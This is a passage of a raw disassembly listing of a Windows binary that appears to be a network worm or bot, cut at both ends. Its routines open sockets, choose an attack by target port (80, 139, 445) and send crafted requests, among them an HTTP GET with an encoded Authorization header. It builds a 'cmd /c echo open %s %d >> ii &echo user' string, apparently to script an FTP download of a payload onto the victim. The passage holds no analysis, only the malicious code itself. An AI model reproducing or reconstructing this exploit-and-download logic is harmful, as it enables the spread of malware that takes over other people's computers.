[ebp+var_8] call sub_4038CE lea ecx, [ebp+var_10] call sub_4038B5 push offset dword_4289AC lea ecx, [ebp+var_48] call sub_403A08 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038B5 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_403DF2 ; --------------------------------------------------------------------------- loc_403DE4: ; CODE XREF: sub_403A90+1Bj ; sub_403A90+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_403DF2: ; CODE XREF: sub_403A90+352j pop edi pop ebx leave retn sub_403A90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DF6 proc near ; CODE XREF: sub_403EBA+A1p ; sub_403EBA+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call near ptr 71AB1890h nop cmp eax, edi jnz short loc_403E5D lea eax, [ebp+var_10C] push eax push esi call sub_422A46 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_403E61 loc_403E5D: ; CODE XREF: sub_403DF6+54j xor eax, eax jmp short loc_403E71 ; --------------------------------------------------------------------------- loc_403E61: ; CODE XREF: sub_403DF6+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_43F680 loc_403E71: ; CODE XREF: sub_403DF6+69j pop edi pop esi leave retn sub_403DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403E75 proc near ; CODE XREF: sub_403EBA+81p ; sub_403EBA+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_43F664 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_43F6B8 cmp eax, 4 jz short loc_403E9F xor al, al leave retn ; --------------------------------------------------------------------------- loc_403E9F: ; CODE XREF: sub_403E75+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_43F6B8 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_403E75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403EBA proc near ; CODE XREF: sub_403F94+48p ; ___:00404406p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_417B89 mov esi, eax pop ecx test esi, esi jnz short loc_403EE3 xor al, al jmp loc_403F8F ; --------------------------------------------------------------------------- loc_403EE3: ; CODE XREF: sub_403EBA+20j push ebx push 0 push esi call sub_417330 push 2Fh push offset dword_4286E4 push esi call sub_417390 push 8 lea eax, [esi+31h] push offset dword_428714 push eax mov [esi+2Fh], di call sub_417390 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_417390 push 6 add ebx, edi push offset dword_43C81C push ebx call sub_417390 mov ebx, [ebp+arg_0] push 85h push offset dword_42865C push ebx call sub_403E75 add esp, 48h test al, al jnz short loc_403F4B loc_403F47: ; CODE XREF: sub_403EBA+B5j xor bl, bl jmp short loc_403F86 ; --------------------------------------------------------------------------- loc_403F4B: ; CODE XREF: sub_403EBA+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_403DF6 push [ebp+var_4] push esi push ebx call sub_403E75 add esp, 1Ch test al, al jz short loc_403F47 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_403DF6 add esp, 10h mov bl, 1 loc_403F86: ; CODE XREF: sub_403EBA+8Fj push esi call sub_417C3B pop ecx mov al, bl loc_403F8F: ; CODE XREF: sub_403EBA+24j pop edi pop esi pop ebx leave retn sub_403EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403F94 proc near ; CODE XREF: ___:004043ECp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_428720 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_403FCF push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_403DF6 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_403FCF cmp [ebp+var_20], 82h jz short loc_403FD3 loc_403FCF: ; CODE XREF: sub_403F94+1Bj ; sub_403F94+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_403FD3: ; CODE XREF: sub_403F94+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_403EBA add esp, 0Ch leave retn sub_403F94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE6 proc near ; CODE XREF: sub_404032+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_424278 call sub_417DC4 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_424270 fstp [esp+10h+var_10] call sub_417CA4 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_417DC4 inc eax leave retn sub_403FE6 endp ; =============== S U B R O U T I N E ======================================= sub_404032 proc near ; CODE XREF: sub_4041D4+24p var_40 = qword ptr -40h mov eax, offset loc_4230E7 call sub_418290 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_404667 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_403FE6 cmp [ebp-2Ch], eax pop ecx jnb short loc_404074 push edi push eax lea ecx, [ebp-38h] call sub_4045E2 loc_404074: ; CODE XREF: sub_404032+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_404191 mov ebx, [ebp+10h] loc_404083: ; CODE XREF: sub_404032+156j cmp dword ptr [ebp+10h], 3 jb short loc_40408D push 3 jmp short loc_40409F ; --------------------------------------------------------------------------- loc_40408D: ; CODE XREF: sub_404032+55j cmp dword ptr [ebp+10h], 2 jnz short loc_404097 push 2 jmp short loc_40409F ; --------------------------------------------------------------------------- loc_404097: ; CODE XREF: sub_404032+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_4040A0 push 1 loc_40409F: ; CODE XREF: sub_404032+59j ; sub_404032+63j pop ebx loc_4040A0: ; CODE XREF: sub_404032+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_424288 fstp [esp+40h+var_40] call sub_417DEB pop ecx pop ecx call sub_417DC4 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_4040DF mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_4040DF: ; CODE XREF: sub_404032+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40414D add [ebp-18h], eax loc_404131: ; CODE XREF: sub_404032+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_42876C[eax] push eax push 1 call sub_404464 inc esi cmp esi, [ebp-1Ch] jb short loc_404131 loc_40414D: ; CODE XREF: sub_404032+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40416B push dword ptr [ebp+14h] call sub_417AB0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_4044BD mov [ebp-18h], edi loc_40416B: ; CODE XREF: sub_404032+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_404185 sub esi, [ebp-1Ch] loc_404176: ; CODE XREF: sub_404032+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_404464 dec esi jnz short loc_404176 loc_404185: ; CODE XREF: sub_404032+13Fj cmp [ebp+10h], edi ja loc_404083 push 1 pop ebx loc_404191: ; CODE XREF: sub_404032+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_404667 push dword_424280 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_404514 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_404667 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_404032 endp ; =============== S U B R O U T I N E ======================================= sub_4041D4 proc near ; CODE XREF: ___:004043CFp mov eax, offset loc_423104 call sub_418290 sub esp, 10h push ebx push esi push edi push offset byte_43C80C lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_404032 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_417B89 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40421E xor bl, bl jmp short loc_404262 ; --------------------------------------------------------------------------- loc_40421E: ; CODE XREF: sub_4041D4+44j mov ecx, [ebp-18h] mov eax, offset dword_424290 cmp ecx, ebx jnz short loc_40422C mov ecx, eax loc_40422C: ; CODE XREF: sub_4041D4+54j cmp [ebp+18h], ebx jz short loc_404234 mov eax, [ebp+18h] loc_404234: ; CODE XREF: sub_4041D4+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41782A add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_43F6B8 cmp eax, esi jz short loc_404259 xor bl, bl jmp short loc_40425B ; --------------------------------------------------------------------------- loc_404259: ; CODE XREF: sub_4041D4+7Fj mov bl, 1 loc_40425B: ; CODE XREF: sub_4041D4+83j push edi call sub_417C3B pop ecx loc_404262: ; CODE XREF: sub_4041D4+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_404667 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_404667 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_4041D4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_428918 push eax call sub_417390 add esp, 0Ch mov eax, offset byte_42F674 push eax push eax push dword_43C83C push dword ptr [ebp+8] call sub_40AEE0 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp-391h] push 400h push eax call sub_41782A add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_4287B0 push eax call sub_403A90 xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40432B xor eax, eax jmp loc_404457 ; --------------------------------------------------------------------------- loc_40432B: ; CODE XREF: ___:00404322j mov [ebp-0Ch], esi loc_40432E: ; CODE XREF: ___:0040442Ej test esi, esi jnz loc_404434 push 6 push 1 push 2 call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40441C xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_43F668 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_43F6A8 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_404411 cmp dword ptr [ebp+0A8h], 50h jnz short loc_4043D9 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_404667 lea eax, [ebp+0Ch] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_4046A3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_4041D4 add esp, 1Ch jmp short loc_40440E ; --------------------------------------------------------------------------- loc_4043D9: ; CODE XREF: ___:00404397j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_4043F3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403F94 jmp short loc_40440B ; --------------------------------------------------------------------------- loc_4043F3: ; CODE XREF: ___:004043E3j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_404411 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_403EBA loc_40440B: ; CODE XREF: ___:004043F1j add esp, 0Ch loc_40440E: ; CODE XREF: ___:004043D7j movzx esi, al loc_404411: ; CODE XREF: ___:0040438Aj ; ___:004043FDj push ebx call dword_43F700 test esi, esi jnz short loc_404427 loc_40441C: ; CODE XREF: ___:00404347j push 3E8h nop call near ptr 25E041Ch loc_404427: ; CODE XREF: ___:0040441Aj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40432E loc_404434: ; CODE XREF: ___:00404330j lea ecx, [ebp-8] call sub_4038B5 test esi, esi jz short loc_404455 mov eax, [ebp+0B0h] imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_404455: ; CODE XREF: ___:0040443Ej mov eax, esi loc_404457: ; CODE XREF: ___:00404326j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4230C8 loc_40445C: ; CODE XREF: sub_4230C8+3j ; ___:004230E1j ... push 1 call sub_404667 retn ; END OF FUNCTION CHUNK FOR sub_4230C8 ; =============== S U B R O U T I N E ======================================= sub_404464 proc near ; CODE XREF: sub_404032+110p ; sub_404032+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_424280 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40447E call sub_42298A loc_40447E: ; CODE XREF: sub_404464+13j test ebx, ebx jbe short loc_4044B5 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4045E2 test al, al jz short loc_4044B5 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_417330 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_4044B5: ; CODE XREF: sub_404464+1Cj ; sub_404464+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_404464 endp ; =============== S U B R O U T I N E ======================================= sub_4044BD proc near ; CODE XREF: sub_404032+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_424280 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_4044D7 call sub_42298A loc_4044D7: ; CODE XREF: sub_4044BD+13j test ebx, ebx jbe short loc_40450C mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_4045E2 test al, al jz short loc_40450C mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_417390 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40450C: ; CODE XREF: sub_4044BD+1Cj ; sub_4044BD+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_4044BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404514 proc near ; CODE XREF: sub_404032+17Cp ; sub_4228A0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40452C call sub_422863 loc_40452C: ; CODE XREF: sub_404514+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40453E mov esi, [ebp+arg_8] loc_40453E: ; CODE XREF: sub_404514+25j cmp edi, ebx jnz short loc_404560 push dword_424280 add esi, ecx mov ecx, edi push esi call sub_4046D8 push [ebp+arg_4] mov ecx, edi push 0 call sub_4046D8 jmp short loc_4045D9 ; --------------------------------------------------------------------------- loc_404560: ; CODE XREF: sub_404514+2Cj test esi, esi jbe short loc_4045A3 cmp esi, eax jnz short loc_4045A3 mov eax, [ebx+4] test eax, eax jnz short loc_404574 mov eax, offset dword_424290 loc_404574: ; CODE XREF: sub_404514+59j cmp byte ptr [eax-1], 0FEh jnb short loc_4045A3 push 1 mov ecx, edi call sub_404667 mov eax, [ebx+4] test eax, eax jnz short loc_40458F mov eax, offset dword_424290 loc_40458F: ; CODE XREF: sub_404514+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_4045D9 ; --------------------------------------------------------------------------- loc_4045A3: ; CODE XREF: sub_404514+4Ej ; sub_404514+52j ... push 1 push esi mov ecx, edi call sub_4045E2 test al, al jz short loc_4045D9 mov eax, [ebx+4] test eax, eax jnz short loc_4045BD mov eax, offset dword_424290 loc_4045BD: ; CODE XREF: sub_404514+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_417390 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_4045D9: ; CODE XREF: sub_404514+4Aj ; sub_404514+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_404514 endp ; =============== S U B R O U T I N E ======================================= sub_4045E2 proc near ; CODE XREF: sub_404032+3Dp ; sub_404464+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_4045F4 call sub_42298A loc_4045F4: ; CODE XREF: sub_4045E2+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40461D mov al, [ecx-1] cmp al, dl jz short loc_40461D cmp al, 0FFh jz short loc_40461D cmp edi, edx jnz short loc_404658 dec al push edx mov [ecx-1], al loc_404612: ; CODE XREF: sub_4045E2+47j mov ecx, esi call sub_404667 loc_404619: ; CODE XREF: sub_4045E2+4Bj ; sub_4045E2+52j xor al, al jmp short loc_404662 ; --------------------------------------------------------------------------- loc_40461D: ; CODE XREF: sub_4045E2+19j ; sub_4045E2+20j ... cmp edi, edx jnz short loc_404636 cmp [esp+8+arg_4], dl jz short loc_40462B push 1 jmp short loc_404612 ; --------------------------------------------------------------------------- loc_40462B: ; CODE XREF: sub_4045E2+43j cmp ecx, edx jz short loc_404619 mov [esi+8], edx mov [ecx], dl jmp short loc_404619 ; --------------------------------------------------------------------------- loc_404636: ; CODE XREF: sub_4045E2+3Dj cmp [esp+8+arg_4], dl jz short loc_404653 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_404648 cmp eax, edi jnb short loc_404660 loc_404648: ; CODE XREF: sub_4045E2+60j push 1 mov ecx, esi call sub_404667 jmp short loc_404658 ; --------------------------------------------------------------------------- loc_404653: ; CODE XREF: sub_4045E2+58j cmp [esi+0Ch], edi jnb short loc_404660 loc_404658: ; CODE XREF: sub_4045E2+28j ; sub_4045E2+6Fj push edi mov ecx, esi call sub_40473F loc_404660: ; CODE XREF: sub_4045E2+64j ; sub_4045E2+74j mov al, 1 loc_404662: ; CODE XREF: sub_4045E2+39j pop edi pop esi retn 8 sub_4045E2 endp ; =============== S U B R O U T I N E ======================================= sub_404667 proc near ; CODE XREF: sub_404032+1Fp ; sub_404032+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_404693 mov eax, [esi+4] test eax, eax jz short loc_404693 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40468C cmp al, 0FFh jz short loc_40468C dec al mov [ecx], al jmp short loc_404693 ; --------------------------------------------------------------------------- loc_40468C: ; CODE XREF: sub_404667+19j ; sub_404667+1Dj push ecx call sub_4182AF pop ecx loc_404693: ; CODE XREF: sub_404667+8j ; sub_404667+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_404667 endp ; =============== S U B R O U T I N E ======================================= sub_4046A3 proc near ; CODE XREF: ___:004043C3p ; sub_4047FC+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_4045E2 test al, al jz short loc_4046D1 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_417390 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_4046D1: ; CODE XREF: sub_4046A3+12j mov eax, esi pop edi pop esi retn 8 sub_4046A3 endp ; =============== S U B R O U T I N E ======================================= sub_4046D8 proc near ; CODE XREF: sub_404514+39p ; sub_404514+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_4046EB call sub_422863 loc_4046EB: ; CODE XREF: sub_4046D8+Cj mov ecx, edi call sub_4047FC mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_404701 mov ebx, eax loc_404701: ; CODE XREF: sub_4046D8+25j test ebx, ebx jbe short loc_404737 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_4182C0 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_4045E2 test al, al jz short loc_404737 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_404737: ; CODE XREF: sub_4046D8+2Bj ; sub_4046D8+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_4046D8 endp ; =============== S U B R O U T I N E ======================================= sub_40473F proc near ; CODE XREF: sub_4045E2+79p mov eax, offset loc_423110 call sub_418290 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_404765 mov edi, [ebp+8] loc_404765: ; CODE XREF: sub_40473F+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_404772 xor eax, eax loc_404772: ; CODE XREF: sub_40473F+2Fj push eax call sub_4185F5 pop ecx mov [ebp+8], eax jmp short loc_4047A3 ; --------------------------------------------------------------------------- loc_40477E: ; DATA XREF: ___:00424F9Co mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40478D xor eax, eax loc_40478D: ; CODE XREF: sub_40473F+4Aj push eax call sub_4185F5 mov [ebp+8], eax pop ecx mov eax, offset loc_40479D retn ; --------------------------------------------------------------------------- loc_40479D: ; DATA XREF: sub_40473F+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_4047A3: ; CODE XREF: sub_40473F+3Dj mov eax, [esi+8] test eax, eax jbe short loc_4047C1 cmp eax, edi jbe short loc_4047B0 mov eax, edi loc_4047B0: ; CODE XREF: sub_40473F+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_417390 add esp, 0Ch loc_4047C1: ; CODE XREF: sub_40473F+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_404667 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_4047E1 mov edi, ebx loc_4047E1: ; CODE XREF: sub_40473F+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40473F endp ; =============== S U B R O U T I N E ======================================= sub_4047FC proc near ; CODE XREF: sub_4046D8+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_404829 mov al, [esi-1] test al, al jz short loc_404829 cmp al, 0FFh jz short loc_404829 push 1 call sub_404667 push esi call sub_417AB0 pop ecx push eax push esi mov ecx, edi call sub_4046A3 loc_404829: ; CODE XREF: sub_4047FC+9j ; sub_4047FC+10j ... pop edi pop esi retn sub_4047FC endp ; =============== S U B R O U T I N E ======================================= sub_40482C proc near ; DATA XREF: ___:00426008o test byte_48A30C, 1 jnz short loc_40483C or byte_48A30C, 1 loc_40483C: ; CODE XREF: sub_40482C+7j jmp $+5 push offset nullsub_1 call sub_418670 pop ecx retn sub_40482C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40484E proc near ; DATA XREF: ___:0042600Co jmp $+5 sub_40484E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_404853 proc near mov eax, dword_428BE0 add eax, 6 mov dword_43C828, eax retn sub_404853 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404861 proc near ; CODE XREF: sub_404861+D0p ; ___:00404DC0p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_404875 or [ebp+arg_7], 1 jmp short loc_404879 ; --------------------------------------------------------------------------- loc_404875: ; CODE XREF: sub_404861+Cj and [ebp+arg_7], 0FEh loc_404879: ; CODE XREF: sub_404861+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40489D or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_4048AF ; --------------------------------------------------------------------------- loc_40489D: ; CODE XREF: sub_404861+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_4048AF: ; CODE XREF: sub_404861+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_417B89 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_404948 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 2620000h test eax, eax jz short loc_40493F mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40493F push [ebp+arg_20] call sub_417C3B cmp [ebp+arg_2B], 0 pop ecx jz short loc_40493B push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_404861 add esp, 2Ch jmp short loc_40494A ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_404861+B3j mov al, 1 jmp short loc_40494A ; --------------------------------------------------------------------------- loc_40493F: ; CODE XREF: sub_404861+9Cj ; sub_404861+A4j push [ebp+arg_20] call sub_417C3B pop ecx loc_404948: ; CODE XREF: sub_404861+61j xor al, al loc_40494A: ; CODE XREF: sub_404861+D8j ; sub_404861+DCj pop edi pop esi pop ebx leave retn sub_404861 endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; db 0ECh ; db 0B8h ; db 0DCh ; db 60h ; ` db 0 db 0 db 0E8h ; db 0D4h ; db 31h ; 1 db 1 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 5Ch ; \ db 8Ch ; db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; db 24h ; $ db 